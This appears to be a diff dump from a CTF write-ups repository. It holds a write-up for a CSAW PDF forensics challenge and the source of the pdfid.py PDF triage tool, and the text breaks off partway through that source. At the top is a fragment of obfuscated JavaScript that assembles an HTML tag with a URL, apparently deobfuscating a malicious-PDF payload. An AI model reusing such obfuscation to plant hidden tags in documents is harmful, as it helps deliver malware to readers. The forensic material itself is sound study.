||||
for (var i = 0; i < f.length; i++) {
|
||||
c += f[i].length.toString();
|
||||
}
|
||||
v = f[0];
|
||||
x = "\'ht";
|
||||
b = f[4];
|
||||
f = 2541 * 6 - 35 + 46 + 12 - 15269;
|
||||
c += f.toString();
|
||||
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
|
||||
c += f.toString();
|
||||
f = "";
|
||||
c = c.split("");
|
||||
var w = 0;
|
||||
u = "s";
|
||||
for (var i = 0; i < c.length; i++) {
|
||||
if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
|
||||
f += String.fromCharCode(46);
|
||||
w++;
|
||||
}
|
||||
f += c[i];
|
||||
}
|
||||
i = k + "anal";
|
||||
console.log("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
|
||||
1031
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py
Executable file
1031
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/fluffy/pdf-parser.py
Executable file
File diff suppressed because it is too large
Load diff
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,171 @@
|
|||
# Forensics-200: Obscurity
|
||||
|
||||
|
||||
The third forensics problem starts with the following text:
|
||||
|
||||
> see or do not see
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [pdf.pdf]
|
||||
>
|
||||
|
||||
|
||||
Hacking PDFs, what fun!
|
||||
|
||||
|
||||
In general, when dealing with reverse-engineering malicious documents, we follow these steps:
|
||||
1. We search for malicious embedded code (shell code, JavaScript).
|
||||
2. We extract any suspicious code segments
|
||||
3. If we see shell code, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it.
|
||||
|
||||
However, this problem turned out to be very simple...
|
||||
|
||||
---
|
||||
|
||||
## Finding the Flag in 10 Seconds
|
||||
|
||||
Yeap, this easy:
|
||||
|
||||
1. Download the PDF file.
|
||||
2. Open it in any PDF viewer.
|
||||
3. CTRL+A (select all the contend).
|
||||
4. You see the flag!
|
||||
|
||||

|
||||
|
||||
OK, we were luck. Keep reading if you think this was too easy.
|
||||
|
||||
|
||||
|
||||
## Analysing the ID and the Streams in a PDF File
|
||||
|
||||
Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task we use the [PDF Tool] suite, which is written in Python.
|
||||
|
||||
#### pdfid
|
||||
|
||||
We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable:
|
||||
|
||||
```sh
|
||||
$ unzip pdfid_v0_1_2.zip
|
||||
$ chmod a+x pdfid.py
|
||||
```
|
||||
|
||||
Running over our file gives:
|
||||
```sh
|
||||
$ ./pdfid.py pdf.pdf
|
||||
PDFiD 0.1.2 pdf.pdf
|
||||
PDF Header: %PDF-1.3
|
||||
obj 20
|
||||
endobj 19
|
||||
stream 10
|
||||
endstream 10
|
||||
xref 1
|
||||
trailer 1
|
||||
startxref 1
|
||||
/Page 1
|
||||
/Encrypt 0
|
||||
/ObjStm 0
|
||||
/JS 0
|
||||
/JavaScript 0
|
||||
/AA 0
|
||||
/OpenAction 0
|
||||
/AcroForm 0
|
||||
/JBIG2Decode 0
|
||||
/RichMedia 0
|
||||
/Launch 0
|
||||
/EmbeddedFile 0
|
||||
/XFA 0
|
||||
/Colors > 2^24 0
|
||||
```
|
||||
|
||||
All right, no funny stuff going on here. We need to look deeper into each of the these streams.
|
||||
|
||||
#### pdf-parser
|
||||
|
||||
We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look:
|
||||
|
||||
```sh
|
||||
$ unzip pdf-parser_V0_4_3.zip
|
||||
$ chmod a+x pdf-parser.py
|
||||
$ ./pdf-parser.py
|
||||
Usage: pdf-parser.py [options] pdf-file|zip-file|url
|
||||
pdf-parser, use it to parse a PDF document
|
||||
|
||||
Options:
|
||||
--version show program's version number and exit
|
||||
-s SEARCH, --search=SEARCH
|
||||
string to search in indirect objects (except streams)
|
||||
-f, --filter pass stream object through filters (FlateDecode,
|
||||
ASCIIHexDecode, ASCII85Decode, LZWDecode and
|
||||
RunLengthDecode only)
|
||||
-o OBJECT, --object=OBJECT
|
||||
id of indirect object to select (version independent)
|
||||
-r REFERENCE, --reference=REFERENCE
|
||||
id of indirect object being referenced (version
|
||||
independent)
|
||||
-e ELEMENTS, --elements=ELEMENTS
|
||||
type of elements to select (cxtsi)
|
||||
-w, --raw raw output for data and filters
|
||||
-a, --stats display stats for pdf document
|
||||
-t TYPE, --type=TYPE type of indirect object to select
|
||||
-v, --verbose display malformed PDF elements
|
||||
-x EXTRACT, --extract=EXTRACT
|
||||
filename to extract malformed content to
|
||||
-H, --hash display hash of objects
|
||||
-n, --nocanonicalizedoutput
|
||||
do not canonicalize the output
|
||||
-d DUMP, --dump=DUMP filename to dump stream content to
|
||||
-D, --debug display debug info
|
||||
-c, --content display the content for objects without streams or
|
||||
with streams without filters
|
||||
--searchstream=SEARCHSTREAM
|
||||
string to search in streams
|
||||
--unfiltered search in unfiltered streams
|
||||
--casesensitive case sensitive search in streams
|
||||
--regex use regex to search in streams
|
||||
```
|
||||
|
||||
Very interesting! We run it with our file, searching for the string */ProcSet*:
|
||||
```sh
|
||||
$ ./pdf-parser.py pdf.pdf | grep /ProcSet
|
||||
/ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ]
|
||||
```
|
||||
Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere!
|
||||
|
||||
|
||||
## Getting Text from PDF
|
||||
|
||||
|
||||
A good way to extract text from a pdf is using [pdftotext]:
|
||||
|
||||
```sh
|
||||
$ pdftotext pdf.pdf
|
||||
```
|
||||
|
||||
You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag:
|
||||
|
||||
```sh
|
||||
$ strings pdf.txt
|
||||
flag{security_through_obscurity}
|
||||
```
|
||||
|
||||
As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Hack all the things!**
|
||||
[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/
|
||||
[Origami]: http://esec-lab.sogeti.com/pages/Origami
|
||||
[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis
|
||||
[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis
|
||||
[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah
|
||||
[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite
|
||||
[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis
|
||||
|
||||
[this website]: http://blog.didierstevens.com/programs/pdf-tools/
|
||||
[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools
|
||||
[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf
|
||||
[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext
|
||||
1031
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py
Executable file
1031
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdf-parser.py
Executable file
File diff suppressed because it is too large
Load diff
Binary file not shown.
714
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py
Executable file
714
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/obscurity/pdfid.py
Executable file
|
|
@ -0,0 +1,714 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__description__ = 'Tool to test a PDF file'
|
||||
__author__ = 'Didier Stevens'
|
||||
__version__ = '0.1.2'
|
||||
__date__ = '2013/03/13'
|
||||
|
||||
"""
|
||||
|
||||
Tool to test a PDF file
|
||||
|
||||
Source code put in public domain by Didier Stevens, no Copyright
|
||||
https://DidierStevens.com
|
||||
Use at your own risk
|
||||
|
||||
History:
|
||||
2009/03/27: start
|
||||
2009/03/28: scan option
|
||||
2009/03/29: V0.0.2: xml output
|
||||
2009/03/31: V0.0.3: /ObjStm suggested by Dion
|
||||
2009/04/02: V0.0.4: added ErrorMessage
|
||||
2009/04/20: V0.0.5: added Dates
|
||||
2009/04/21: V0.0.6: added entropy
|
||||
2009/04/22: added disarm
|
||||
2009/04/29: finished disarm
|
||||
2009/05/13: V0.0.7: added cPDFEOF
|
||||
2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ)
|
||||
2009/07/25: added input redirection, option --force
|
||||
2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm
|
||||
2010/01/11: V0.0.10: relaxed %PDF header checking
|
||||
2010/04/28: V0.0.11: added /Launch
|
||||
2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway
|
||||
2011/12/29: updated for Python 3, added keyword /EmbeddedFile
|
||||
2012/03/03: added PDFiD2JSON; coded by Brandon Dixon
|
||||
2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected'
|
||||
2013/03/11: V0.1.1: fixes for Python 3
|
||||
2013/03/13: V0.1.2: Added error handling for files; added /XFA
|
||||
|
||||
Todo:
|
||||
- update XML example (entropy, EOF)
|
||||
- code review, cleanup
|
||||
"""
|
||||
|
||||
import optparse
|
||||
import os
|
||||
import re
|
||||
import xml.dom.minidom
|
||||
import traceback
|
||||
import math
|
||||
import operator
|
||||
import os.path
|
||||
import sys
|
||||
import json
|
||||
import zipfile
|
||||
try:
|
||||
import urllib2
|
||||
urllib23 = urllib2
|
||||
except:
|
||||
import urllib.request
|
||||
urllib23 = urllib.request
|
||||
|
||||
#Convert 2 Bytes If Python 3
|
||||
def C2BIP3(string):
|
||||
if sys.version_info[0] > 2:
|
||||
return bytes([ord(x) for x in string])
|
||||
else:
|
||||
return string
|
||||
|
||||
class cBinaryFile:
|
||||
def __init__(self, file):
|
||||
self.file = file
|
||||
if file == '':
|
||||
self.infile = sys.stdin
|
||||
elif file.lower().startswith('http://') or file.lower().startswith('https://'):
|
||||
try:
|
||||
if sys.hexversion >= 0x020601F0:
|
||||
self.infile = urllib23.urlopen(file, timeout=5)
|
||||
else:
|
||||
self.infile = urllib23.urlopen(file)
|
||||
except urllib23.HTTPError:
|
||||
print('Error accessing URL %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
elif file.lower().endswith('.zip'):
|
||||
try:
|
||||
self.zipfile = zipfile.ZipFile(file, 'r')
|
||||
self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected'))
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
else:
|
||||
try:
|
||||
self.infile = open(file, 'rb')
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
self.ungetted = []
|
||||
|
||||
def byte(self):
|
||||
if len(self.ungetted) != 0:
|
||||
return self.ungetted.pop()
|
||||
inbyte = self.infile.read(1)
|
||||
if not inbyte or inbyte == '':
|
||||
self.infile.close()
|
||||
return None
|
||||
return ord(inbyte)
|
||||
|
||||
def bytes(self, size):
|
||||
if size <= len(self.ungetted):
|
||||
result = self.ungetted[0:size]
|
||||
del self.ungetted[0:size]
|
||||
return result
|
||||
inbytes = self.infile.read(size - len(self.ungetted))
|
||||
if inbytes == '':
|
||||
self.infile.close()
|
||||
if type(inbytes) == type(''):
|
||||
result = self.ungetted + [ord(b) for b in inbytes]
|
||||
else:
|
||||
result = self.ungetted + [b for b in inbytes]
|
||||
self.ungetted = []
|
||||
return result
|
||||
|
||||
def unget(self, byte):
|
||||
self.ungetted.append(byte)
|
||||
|
||||
def ungets(self, bytes):
|
||||
bytes.reverse()
|
||||
self.ungetted.extend(bytes)
|
||||
|
||||
class cPDFDate:
|
||||
def __init__(self):
|
||||
self.state = 0
|
||||
|
||||
def parse(self, char):
|
||||
if char == 'D':
|
||||
self.state = 1
|
||||
return None
|
||||
elif self.state == 1:
|
||||
if char == ':':
|
||||
self.state = 2
|
||||
self.digits1 = ''
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 2:
|
||||
if len(self.digits1) < 14:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits1 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif char == '+' or char == '-' or char == 'Z':
|
||||
self.state = 3
|
||||
self.digits2 = ''
|
||||
self.TZ = char
|
||||
return None
|
||||
elif char == '"':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
elif char < '0' or char > '9':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 3:
|
||||
if len(self.digits2) < 2:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) == 2:
|
||||
if char == "'":
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) < 5:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
if len(self.digits2) == 5:
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1 + self.TZ + self.digits2
|
||||
return self.date
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
|
||||
def fEntropy(countByte, countTotal):
|
||||
x = float(countByte) / countTotal
|
||||
if x > 0:
|
||||
return - x * math.log(x, 2)
|
||||
else:
|
||||
return 0.0
|
||||
|
||||
class cEntropy:
|
||||
def __init__(self):
|
||||
self.allBucket = [0 for i in range(0, 256)]
|
||||
self.streamBucket = [0 for i in range(0, 256)]
|
||||
|
||||
def add(self, byte, insideStream):
|
||||
self.allBucket[byte] += 1
|
||||
if insideStream:
|
||||
self.streamBucket[byte] += 1
|
||||
|
||||
def removeInsideStream(self, byte):
|
||||
if self.streamBucket[byte] > 0:
|
||||
self.streamBucket[byte] -= 1
|
||||
|
||||
def calc(self):
|
||||
self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket)
|
||||
allCount = sum(self.allBucket)
|
||||
streamCount = sum(self.streamBucket)
|
||||
nonStreamCount = sum(self.nonStreamBucket)
|
||||
return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket)))
|
||||
|
||||
class cPDFEOF:
|
||||
def __init__(self):
|
||||
self.token = ''
|
||||
self.cntEOFs = 0
|
||||
|
||||
def parse(self, char):
|
||||
if self.cntEOFs > 0:
|
||||
self.cntCharsAfterLastEOF += 1
|
||||
if self.token == '' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%' and char == 'E':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%E' and char == 'O':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EO' and char == 'F':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'):
|
||||
self.cntEOFs += 1
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
if char == '\n':
|
||||
self.token = ''
|
||||
else:
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF\r':
|
||||
if char == '\n':
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
self.token = ''
|
||||
else:
|
||||
self.token = ''
|
||||
|
||||
def FindPDFHeaderRelaxed(oBinaryFile):
|
||||
bytes = oBinaryFile.bytes(1024)
|
||||
index = ''.join([chr(byte) for byte in bytes]).find('%PDF')
|
||||
if index == -1:
|
||||
oBinaryFile.ungets(bytes)
|
||||
return ([], None)
|
||||
for endHeader in range(index + 4, index + 4 + 10):
|
||||
if bytes[endHeader] == 10 or bytes[endHeader] == 13:
|
||||
break
|
||||
oBinaryFile.ungets(bytes[endHeader:])
|
||||
return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]]))
|
||||
|
||||
def Hexcode2String(char):
|
||||
if type(char) == int:
|
||||
return '#%02x' % char
|
||||
else:
|
||||
return char
|
||||
|
||||
def SwapCase(char):
|
||||
if type(char) == int:
|
||||
return ord(chr(char).swapcase())
|
||||
else:
|
||||
return char.swapcase()
|
||||
|
||||
def HexcodeName2String(hexcodeName):
|
||||
return ''.join(map(Hexcode2String, hexcodeName))
|
||||
|
||||
def SwapName(wordExact):
|
||||
return map(SwapCase, wordExact)
|
||||
|
||||
def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut):
|
||||
if word != '':
|
||||
if slash + word in words:
|
||||
words[slash + word][0] += 1
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
elif slash == '/' and allNames:
|
||||
words[slash + word] = [1, 0]
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
if slash == '/':
|
||||
lastName = slash + word
|
||||
if slash == '':
|
||||
if word == 'stream':
|
||||
insideStream = True
|
||||
if word == 'endstream':
|
||||
if insideStream == True and oEntropy != None:
|
||||
for char in 'endstream':
|
||||
oEntropy.removeInsideStream(ord(char))
|
||||
insideStream = False
|
||||
if fOut != None:
|
||||
if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'):
|
||||
wordExactSwapped = HexcodeName2String(SwapName(wordExact))
|
||||
fOut.write(C2BIP3(wordExactSwapped))
|
||||
print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped))
|
||||
else:
|
||||
fOut.write(C2BIP3(HexcodeName2String(wordExact)))
|
||||
return ('', [], False, lastName, insideStream)
|
||||
|
||||
class cCVE_2009_3459:
|
||||
def __init__(self):
|
||||
self.count = 0
|
||||
|
||||
def Check(self, lastName, word):
|
||||
if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes
|
||||
self.count += 1
|
||||
|
||||
def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False):
|
||||
"""Example of XML output:
|
||||
<PDFiD ErrorOccured="False" ErrorMessage="" Filename="test.pdf" Header="%PDF-1.1" IsPDF="True" Version="0.0.4" Entropy="4.28">
|
||||
<Keywords>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="obj"/>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="endobj"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="stream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="endstream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="xref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="trailer"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="startxref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/Page"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/Encrypt"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JS"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JavaScript"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/AA"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/OpenAction"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/JBIG2Decode"/>
|
||||
</Keywords>
|
||||
<Dates>
|
||||
<Date Value="D:20090128132916+01'00" Name="/ModDate"/>
|
||||
</Dates>
|
||||
</PDFiD>
|
||||
"""
|
||||
|
||||
word = ''
|
||||
wordExact = []
|
||||
hexcode = False
|
||||
lastName = ''
|
||||
insideStream = False
|
||||
keywords = ('obj',
|
||||
'endobj',
|
||||
'stream',
|
||||
'endstream',
|
||||
'xref',
|
||||
'trailer',
|
||||
'startxref',
|
||||
'/Page',
|
||||
'/Encrypt',
|
||||
'/ObjStm',
|
||||
'/JS',
|
||||
'/JavaScript',
|
||||
'/AA',
|
||||
'/OpenAction',
|
||||
'/AcroForm',
|
||||
'/JBIG2Decode',
|
||||
'/RichMedia',
|
||||
'/Launch',
|
||||
'/EmbeddedFile',
|
||||
'/XFA',
|
||||
)
|
||||
words = {}
|
||||
dates = []
|
||||
for keyword in keywords:
|
||||
words[keyword] = [0, 0]
|
||||
slash = ''
|
||||
xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None)
|
||||
att = xmlDoc.createAttribute('Version')
|
||||
att.nodeValue = __version__
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Filename')
|
||||
att.nodeValue = file
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
attErrorOccured = xmlDoc.createAttribute('ErrorOccured')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorOccured)
|
||||
attErrorOccured.nodeValue = 'False'
|
||||
attErrorMessage = xmlDoc.createAttribute('ErrorMessage')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorMessage)
|
||||
attErrorMessage.nodeValue = ''
|
||||
|
||||
oPDFDate = None
|
||||
oEntropy = None
|
||||
oPDFEOF = None
|
||||
oCVE_2009_3459 = cCVE_2009_3459()
|
||||
try:
|
||||
attIsPDF = xmlDoc.createAttribute('IsPDF')
|
||||
xmlDoc.documentElement.setAttributeNode(attIsPDF)
|
||||
oBinaryFile = cBinaryFile(file)
|
||||
if extraData:
|
||||
oPDFDate = cPDFDate()
|
||||
oEntropy = cEntropy()
|
||||
oPDFEOF = cPDFEOF()
|
||||
(bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile)
|
||||
if disarm:
|
||||
(pathfile, extension) = os.path.splitext(file)
|
||||
fOut = open(pathfile + '.disarmed' + extension, 'wb')
|
||||
for byteHeader in bytesHeader:
|
||||
fOut.write(C2BIP3(chr(byteHeader)))
|
||||
else:
|
||||
fOut = None
|
||||
if oEntropy != None:
|
||||
for byteHeader in bytesHeader:
|
||||
oEntropy.add(byteHeader, insideStream)
|
||||
if pdfHeader == None and not force:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
return xmlDoc
|
||||
else:
|
||||
if pdfHeader == None:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
pdfHeader = ''
|
||||
else:
|
||||
attIsPDF.nodeValue = 'True'
|
||||
att = xmlDoc.createAttribute('Header')
|
||||
att.nodeValue = repr(pdfHeader[0:10]).strip("'")
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
byte = oBinaryFile.byte()
|
||||
while byte != None:
|
||||
char = chr(byte)
|
||||
charUpper = char.upper()
|
||||
if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9':
|
||||
word += char
|
||||
wordExact.append(char)
|
||||
elif slash == '/' and char == '#':
|
||||
d1 = oBinaryFile.byte()
|
||||
if d1 != None:
|
||||
d2 = oBinaryFile.byte()
|
||||
if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'):
|
||||
word += chr(int(chr(d1) + chr(d2), 16))
|
||||
wordExact.append(int(chr(d1) + chr(d2), 16))
|
||||
hexcode = True
|
||||
if oEntropy != None:
|
||||
oEntropy.add(d1, insideStream)
|
||||
oEntropy.add(d2, insideStream)
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(d1)
|
||||
oPDFEOF.parse(d2)
|
||||
else:
|
||||
oBinaryFile.unget(d2)
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oCVE_2009_3459.Check(lastName, word)
|
||||
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if char == '/':
|
||||
slash = '/'
|
||||
else:
|
||||
slash = ''
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
|
||||
if oPDFDate != None and oPDFDate.parse(char) != None:
|
||||
dates.append([oPDFDate.date, lastName])
|
||||
|
||||
if oEntropy != None:
|
||||
oEntropy.add(byte, insideStream)
|
||||
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(char)
|
||||
|
||||
byte = oBinaryFile.byte()
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
|
||||
# check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in
|
||||
# the parse function because it never gets called due to hitting the end of file.
|
||||
if byte == None and oPDFEOF != None:
|
||||
if oPDFEOF.token == '%%EOF':
|
||||
oPDFEOF.cntEOFs += 1
|
||||
oPDFEOF.cntCharsAfterLastEOF = 0
|
||||
oPDFEOF.token = ''
|
||||
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
attErrorOccured.nodeValue = 'True'
|
||||
attErrorMessage.nodeValue = traceback.format_exc()
|
||||
|
||||
if disarm:
|
||||
fOut.close()
|
||||
|
||||
attEntropyAll = xmlDoc.createAttribute('TotalEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyAll)
|
||||
attCountAll = xmlDoc.createAttribute('TotalCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountAll)
|
||||
attEntropyStream = xmlDoc.createAttribute('StreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyStream)
|
||||
attCountStream = xmlDoc.createAttribute('StreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountStream)
|
||||
attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyNonStream)
|
||||
attCountNonStream = xmlDoc.createAttribute('NonStreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountNonStream)
|
||||
if oEntropy != None:
|
||||
(countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc()
|
||||
attEntropyAll.nodeValue = '%f' % entropyAll
|
||||
attCountAll.nodeValue = '%d' % countAll
|
||||
attEntropyStream.nodeValue = '%f' % entropyStream
|
||||
attCountStream.nodeValue = '%d' % countStream
|
||||
attEntropyNonStream.nodeValue = '%f' % entropyNonStream
|
||||
attCountNonStream.nodeValue = '%d' % countNonStream
|
||||
else:
|
||||
attEntropyAll.nodeValue = ''
|
||||
attCountAll.nodeValue = ''
|
||||
attEntropyStream.nodeValue = ''
|
||||
attCountStream.nodeValue = ''
|
||||
attEntropyNonStream.nodeValue = ''
|
||||
attCountNonStream.nodeValue = ''
|
||||
attCountEOF = xmlDoc.createAttribute('CountEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountEOF)
|
||||
attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF)
|
||||
if oPDFEOF != None:
|
||||
attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs
|
||||
attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF
|
||||
else:
|
||||
attCountEOF.nodeValue = ''
|
||||
attCountCharsAfterLastEOF.nodeValue = ''
|
||||
|
||||
eleKeywords = xmlDoc.createElement('Keywords')
|
||||
xmlDoc.documentElement.appendChild(eleKeywords)
|
||||
for keyword in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = keyword
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[keyword][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[keyword][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = '/Colors > 2^24'
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(oCVE_2009_3459.count)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(0)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
if allNames:
|
||||
